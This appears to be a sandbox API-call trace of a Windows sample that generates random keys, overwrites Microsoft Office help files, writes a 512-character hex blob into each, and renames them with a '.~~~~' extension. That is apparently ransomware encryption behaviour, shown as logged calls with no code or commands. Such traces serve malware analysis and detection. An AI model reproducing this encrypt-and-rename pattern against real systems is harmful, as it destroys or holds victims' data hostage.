	[0133.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.589] GetLastError () returned 0x0
	[0133.590] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.591] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.591] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.591] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25358105968) returned 1
	[0133.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb912dff0, dwHighDateTime=0x1d60e1e)) 
	[0133.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28246a8
	[0133.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28246a8 | out: hHeap=0x300000) returned 1
	[0133.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ab8
	[0133.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.592] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.592] GetLastError () returned 0x0
	[0133.592] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.592] GetLastError () returned 0x0
	[0133.596] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.596] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0133.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.600] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.600] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.602] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.602] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.602] CloseHandle (hObject=0x104) returned 1
	[0133.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0133.603] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.~~~~")) returned 1
	[0133.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.605] GetLastError () returned 0x0
	[0133.606] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.606] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.606] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.607] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25359698625) returned 1
	[0133.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb9154150, dwHighDateTime=0x1d60e1e)) 
	[0133.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28246e0
	[0133.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28246e0 | out: hHeap=0x300000) returned 1
	[0133.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a2e0
	[0133.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0133.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a2e0 | out: hHeap=0x300000) returned 1
	[0133.608] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.608] GetLastError () returned 0x0
	[0133.608] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.608] GetLastError () returned 0x0
	[0133.610] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffffd66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.610] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x29a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x29a, lpOverlapped=0x0) returned 1
	[0133.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.612] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.612] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.612] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.612] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.612] CloseHandle (hObject=0x104) returned 1
	[0133.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a2e0
	[0133.613] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.~~~~")) returned 1
	[0133.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a2e0 | out: hHeap=0x300000) returned 1
	[0133.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.614] GetLastError () returned 0x0
	[0133.622] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.622] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.623] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.623] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25361297803) returned 1
	[0133.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb917a2b0, dwHighDateTime=0x1d60e1e)) 
	[0133.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824718
	[0133.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824718 | out: hHeap=0x300000) returned 1
	[0133.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3988a0
	[0133.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0133.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3988a0 | out: hHeap=0x300000) returned 1
	[0133.624] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.624] GetLastError () returned 0x0
	[0133.624] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.624] GetLastError () returned 0x0
	[0133.625] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffff2a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.625] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0xd6, lpOverlapped=0x0) returned 1
	[0133.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.627] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.628] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.628] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.628] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.628] CloseHandle (hObject=0x104) returned 1
	[0133.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3988a0
	[0133.628] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.~~~~")) returned 1
	[0133.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3988a0 | out: hHeap=0x300000) returned 1
	[0133.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.630] GetLastError () returned 0x0
	[0133.631] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.632] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.632] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.632] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25362222375) returned 1
	[0133.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb917a2b0, dwHighDateTime=0x1d60e1e)) 
	[0133.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824750
	[0133.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824750 | out: hHeap=0x300000) returned 1
	[0133.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399f98
	[0133.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0133.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399f98 | out: hHeap=0x300000) returned 1
	[0133.633] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.633] GetLastError () returned 0x0
	[0133.633] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.633] GetLastError () returned 0x0
	[0133.634] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.634] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0133.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.636] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.636] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.636] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.636] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.637] CloseHandle (hObject=0x104) returned 1
	[0133.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2918860
	[0133.637] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.~~~~")) returned 1
	[0133.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2918860 | out: hHeap=0x300000) returned 1
	[0133.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.639] GetLastError () returned 0x0
	[0133.640] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.641] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.641] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.641] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25363137553) returned 1
	[0133.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb91a0410, dwHighDateTime=0x1d60e1e)) 
	[0133.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824788
	[0133.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824788 | out: hHeap=0x300000) returned 1
	[0133.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3999b0
	[0133.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0133.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3999b0 | out: hHeap=0x300000) returned 1
	[0133.642] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.642] GetLastError () returned 0x0
	[0133.642] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.643] GetLastError () returned 0x0
	[0133.644] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.644] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0133.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.646] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.647] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.647] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.647] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.647] CloseHandle (hObject=0x104) returned 1
	[0133.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2918860
	[0133.647] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.~~~~")) returned 1
	[0133.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2918860 | out: hHeap=0x300000) returned 1
